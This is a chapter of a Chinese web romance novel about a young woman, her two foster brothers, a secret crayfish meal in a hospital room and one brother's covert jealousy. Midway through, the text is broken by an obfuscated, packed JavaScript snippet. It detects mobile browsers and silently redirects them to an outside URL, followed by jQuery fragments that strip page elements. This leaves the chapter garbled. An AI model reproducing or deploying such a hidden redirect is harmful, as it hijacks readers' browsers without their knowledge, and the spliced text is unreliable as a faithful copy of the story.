22. 第 22 章

作品:《亲错双胞胎哥哥

    顾星沉的话一出,宝玥两眼一抹黑。


    生怕大哥和二哥一样,说出要她负责的话,立马抢先一步鞠躬道歉,“对不起大哥!我不是故意的!当时听到声音才进去,我无意冒犯您……你!”


    “……”


    顾星沉没说话,但宝玥感觉到那道目光沉甸甸地压在她脖子上,压得她不敢抬起头。


    好半天,她才听到那低沉清冷的声音,“是我道歉才对,当时确实不太清醒。”


    宝玥愣了愣,稍稍抬起头,见他眉头皱了下,“我也是第一次遇到这种状况,不知道该怎么处理,想听听你的建议?”


    这不是要她负责的意思?


    一颗心暂时放了回去,她缓缓站直,又不太确定地瞟了他好几眼,依然看不出任何情绪。


    她大胆尝试道,“可以当做没发生过吗?””


    “可以。”


    他毫不犹豫地应下,又补了句,“只要你不困恼就好。”


    宝玥忙摇手,“不会,不会,这样就很好。”


    顾星沉嗯了一声。


    他太过正经严肃的表情,让她觉得他们是在讨论工作。


    足够冷静、足够理智,也足够客观,不掺杂一点个人情绪。


    原来,大哥是如此通情达理的人!


    说开之后,宝玥整个人放松了下来,将保温壶放到小桌上,“那大哥你吃吧。”


    顾星沉坐到桌前,左手拇指和食指翻起病号服的袖口,往上折至三指宽度,并抚平褶皱,露出手腕,如此流畅的动作仿若是刻在骨子里的礼仪,是吃饭前必须进行的仪式。


    他后背挺直,坐姿如松,并不合身的病号服穿在他身上,竟也称出几分贵重。


    都说人靠衣装,但这一刻,宝玥却觉得衣靠人显贵。


    他安静无话地吃完了她送来的所有食物,并替她收拾好了碗勺,再度提醒她,“下次不要送了。”


    宝玥乖巧地应道:“知道了。”


    她看不出他吃光这些是因为喜欢,还是出于对厨子的尊重。


    事情解决,她也不多逗留了,“大哥,我先回去了,你好好休息。”


    顾星沉蓦地问道:“你给我买的什么甜品?”


    宝玥迟疑了下,“你说那天?是栗子杯……我重新买一份?”


    这话说完总觉得怪怪的。


    大哥不是那种会开口问她要的人。


    但诡异的是她问完后,对方也没拒绝?


    经过几次相处,她隐约摸到一些经验,他不说话就是默认、答应的意思。


    她想了想,又试探地一句,“那我明天来?”


    “好。”


    实锤了。


    真的如此。


    她语气不由轻快了些,“那几点方便?”


    “你方便的时间,来之前和我发消息。”


    “行!”


    顾星沉又让秘书送她回校,宝玥刚抬手想拒绝,但见顾星沉那一脸不是很好说话的模样,怂怂地咽下了拒绝的话,和他的秘书说了一声,“谢谢您。”


    “客气了,叫我小王就行。”


    “王哥……”


    王秘书忍不住笑了下。


    ***


    第二日,顾星河也要去医院探望大哥,宝玥就搭他的车一起去了。


    见她提了甜品和小龙虾,他笑着调侃道:“你带这些去探望大哥啊?他不吃的。”


    宝玥被注视得有点心虚,“他不吃,我们就拿回家吃。”


    这话听得令人愉悦,以至于顾星河略过了她的不自然,“那不是凉了?可以当着大哥的面吃。”


    宝玥笑笑。


    两人到医院的时候,营养师已经收拾完餐具,佣人正在打扫卫生,而顾星沉坐在沙发前左手翻着文件,右手握着钢笔在比划着什么,有的在下方签上了名字,有的直接退给了身旁站着的王秘书,而后又从文件夹中抽出一份待处理的继续审阅。


    同时,手机里发出有人汇报的声音——正在线上会议中。


    此时已经晚上7点,他还如此忙碌。


    宝玥走进病房的脚步不由放轻。


    顾星沉抬眸看见他们,就停下了手中所有事情,王秘书见状开始收拾桌上的文件,进行分门归类。


    顾星河:“不忙了?”


    顾星沉:“马上结束了。”


    他点开麦克风,开始一顿发言,虽然惜字如金,但言辞精准且犀利,指出报告中多处问题,包括利润计算有误,然后结束了会议。


    顾星河这才开口问道:“检查有结果了吗?”


    “没有。”


    “医生怎么说,不会要让你一直住下去吧?”


    “住不了,事太多了,后天就出院。”


    只是住了几天院,已经有人按捺不住骚动了。


    虽然封-锁-消-息,但依然有人刻意放出他病重的消息。


    他很清楚自己的情况,在这儿耗不出结果。


    所以和父母商量了下,还是出院。


    宝玥:“那太好了!”


    她做贼似的瞥了眼王秘书和佣人,等他们都走后,她才把食物摊在了桌上,“我买了栗子杯和小龙虾。”


    顾星沉盯着那一盆红彤彤的虾无动于衷。


    顾星河笑了下,“看吧,他不吃。”


    顾星沉:“这个怎么剥?”


    顾星河:“……?”


    宝玥却得意地笑了起来。


    顾星沉不是没吃过,只是没剥过。


    不动是因为不知道该怎么动。


    宝玥拖了把椅子坐到他身边,“我来教你。”


    她麻利地拿起一只虾掰断虾头,“先去虾头,再拨掉第一节的壳,往这里揪一下,虾肉就出来,这儿,撕开,这条黑线去掉……”


    为了让他看清楚点,她一边说着,一边将小龙虾拿近些。


    顾星沉低着头,起初还能能认真地看她的动作,随着她越来越近,他的注意力不由自主被那白皙的手指吸住。


    这回看得远比上次清晰。


    那双手在红艳艳的小龙虾衬托下,白得似羊脂玉,透着晶莹的质感,仿佛在发光。


    他身体有点热。


    好像又发烧了。


    他不由屏住了呼吸,生怕滚烫的气息惊扰到她。


    杵在旁边的顾星河逐渐察觉气氛不对。


    二人这旁若无人的样子,仿佛这事不是第一回干。


    他很快就回忆起自己出国那会儿,再回来就发现两人关系突然变好了,至今不知道发生了什么。


    几滴汤汁溅到手背上,宝玥哎呀了一声,“忘记戴手套了。”


    顾星沉抽了张纸覆在汤汁上,隔着薄薄的纸,他的指尖触到了她的手背,两人都愣了下。


    蓦地感受到后背一道强烈的视线,宝玥赶紧接过纸擦手,顾星沉在她抬手之前就已经移开了手。


    她若无其事地将第一只剥好的虾肉放到顾星沉的小碟里,“大哥你尝尝好不好吃?不知道你喜欢口味的,我就都买了点,这是十三香的,还有麻辣、蒜蓉……”


    顾星河终于在这个时候开了口,“我都没吃过你剥的虾。”


    他还在笑,但笑意凉凉。


    宝玥:“那我也给你剥。”


    说着就挑了只麻辣口味。


    不知道大哥喜欢什么,却能不假思索地拿起他最爱的口味。


    顾星河唇角荡开,说服自己忽略掉刚刚她紧张的反应。


    发生那种事,妹妹有点膈应是正常的。


    他不能生气,更不能像个妒夫。


    他笑吟吟地说道:“你出来,我来,我可舍不得让妹妹动手。”


    他把妹妹往旁边的椅子一赶,自己坐到他们之中,接过那盆小龙虾,套上手套,手法和效率不知道比她高多少倍,都是千锤百炼出来的经验。


    宝玥也没闲着,还是捡了几只剥起来,顾星沉沉吟片刻,也拿起一只。


    病房内,原本令人不适的消毒水被小龙虾浓郁的香气覆盖,就连灰白单调的装修也仿佛有了些色彩。


    兄妹三人共处十几年,还从来没有在家里一起吃过小龙虾,此刻却在病房内偷鸡摸狗似的,围着一张小小的桌子。


    想想就十分滑稽。


    宝玥一个没忍住,笑出声。


    顾星河:“你笑什么?”


    宝玥捂着嘴,抖了抖肩,“哥不觉得我们三人在病房偷吃宵夜很好笑吗?”


    特别是大哥一本正经剥龙虾的样子。


    她实在忍不住笑。


    顾星河见她明眸闪烁,不由也笑得开怀。


    顾星沉看了看二人,微不可察地勾了下唇,正要把剥得稀烂虾肉放进嘴里,忽然被顾星河夺走,换了一块完整饱满的,“你这剥得也太碎了,别吃了。”


    刚嫌弃完,这块稀碎的虾肉被宝玥叼走了,她嚼了嚼,“大哥第一次剥成这样很不错了,不要浪费。”


    眼看顾星河气笑,她眼疾手快将刚剥好的虾肉塞进了他微开的唇缝里,堵住了他的话,还歪了下脑袋,笑容甜美,“不要说我没剥给你吃了哦。”


    顾星河仿佛一只准备炸毛又瞬间被顺毛的狗,表情肉眼可见的温和了下来。


    只是有点遗憾。


    太快了。


    没来得及舔两下妹妹的手。


    “对了,晚上几点查房?”


    “9点。”


    宝玥看了下时间,还早,于是畅快地吃了起来,还感慨了句,“早知道带点饮料。”


    顾星河笑眯眯地询问:“那我现在去买?你想喝什么?是不是还要来点冰淇淋?”


    顾星沉皱下眉,欲言又止。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943602|192165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宝玥也觉得太嚣张了,忙说不要。


    一眨眼的功夫,她面前的小碟堆满了白花花的肉。


    有二哥剥的,也有大哥剥的。


    一盆的龙虾,最后大半都进了她的肚子里。


    栗子杯倒是悄无声息被大哥吃光了。


    原来他喜欢甜食。


    宝玥心满意足,和两位哥哥收拾残骸,清理作案现场。


    突然,响起了敲门声,“查房——诶,门怎么锁了?”


    “啊,怎么这么早就来?”


    宝玥顿时慌了,加快把残骸扫进垃圾袋。


    顾星河迅速将鼓囊囊的垃圾袋扎紧,“去开窗。”


    宝玥立马将会客厅的窗户全部打开,还不够,又把病房的窗也打开。


    但这味道太大了,一时半会散不开。


    顾星河将垃圾袋丢进卫生间,正要关门,顾星沉按住他的胳膊,不知何时手上多了一个酒精喷壶,他直接拧开,倒在垃圾袋上,酒精味浓到刺鼻,隔着几米远的宝玥都被熏得天灵盖发麻,她唔了一声,立马也拿起手边的酒精壶对着桌子和地板一阵狂喷。


    三人默契又迅速地毁尸灭迹后,顾星沉又披上西装外套,这才去开门。


    从始至终,他没有出现丝毫慌乱的神色,只有着沉着和冷静。


    他镇定开口道:“不好意思,误锁了。”


    护士又转了两下门锁,确认锁没坏后,再次强调:“晚上睡觉请不要反锁,怎么这么浓的酒精味?”


    她四处看了眼。


    顾星河从卫生间出来,仿佛才看见人似的,露出恰到好处的愧疚笑容,“刚刚消毒下卫生间,不小心弄洒了。”


    他说着还晃了下刚刚被顾星沉倒了大半的酒精壶,“一会能再补一瓶给我们吗?”


    演技不好的宝玥则坐在沙发上假装在看手机。


    护士扫了眼他们三人,没有多想,应了声,“行,我等会就给你们拿来,探望时间也快到了,你们不要影响病人的休息。”


    顾星河微笑道,“那太麻烦你了,我们可以自己到护士台领吗?”


    护士说道:“可以的。”


    她转身对顾星沉说道:“顾先生,请回到病床,我给你做下检查。”


    顾星河则带着宝玥离开了病房,等到他们再回来时,护士已经离开了。


    顾星沉从容地将外套重新脱下,挂在衣架上。


    三人心照不宣地望了下彼此。


    真是好刺-激的一晚。


    宝玥说道:“但愿明天施阿姨不会知道。”


    顾星沉:“不会知道。”


    他永远都是这副掌控全局的冷静,包括刚刚和护士撒谎,与平日一般无二,完全看不出演的痕迹。


    不愧是20岁出头就能身居集团高位的大哥,心理素质实在太强了。


    离开医院时,宝玥还在感叹。


    原来,大哥喜欢甜食,也能吃小龙虾,即便冷冰冰的,也会悄悄给她剥小龙虾,会纵容他们放肆,还会帮忙打掩护。


    “哥,你会不会觉得大哥好可怜?”


    顾星河露出一副听错的表情,“他,可怜?”


    宝玥点点头,“以前就觉得他老是被阿姨训很可怜,现在感觉可怜又可悲。”


    顾星河:“不太明白,家里最好的东西都给他,也倾尽所有资源培养他,如果这算可怜?那我算什么?”


    宝玥:“但是他也承受了所有人的期盼啊,不能说错一句话,不能做错一件事,永远要保持体面的形象……”


    她没背过顾家家训,但细数起来也已经好几十条了,每一条都是一道捆在顾星沉身上的锁链。


    “他又不能像哥这样想学什么专业就学什么专业,想做什么事情就做什么事,他从小就被当做继承人培养,没人问过他愿不愿意……”


    顾星河露出一抹笑,“你啊,真是同情心泛滥,都开始操心起一个身价千亿的人什么心情了。”


    宝玥:“……你这样说,好像有点扎心。”


    顾星河笑眯眯地凑过来捧住她的脸亲吻,“操心他,还不如操……我。”


    ***


    窗外又下起了雨。


    顾星沉被雨声惊醒,才想起窗户还没关。


    寂静无人的病房内,还残留着酒精的气味,而他的病号服上藏着淡淡的龙虾味,这一切都像在无声地提醒他今晚发生的事。


    直到那强烈的情-愫再次降临。


    他平静地躺在床上,回味着这既属于他,又不属于他的悸动。


    每一次的亲密,都是对他的凌迟。


    最先崩塌的不是他的理智,而是他的身体。


    忍受了数月,回避了数月,所做的一切措施皆是徒劳。


    如果双生子之间的共感无法消失,那就……


    取而代之。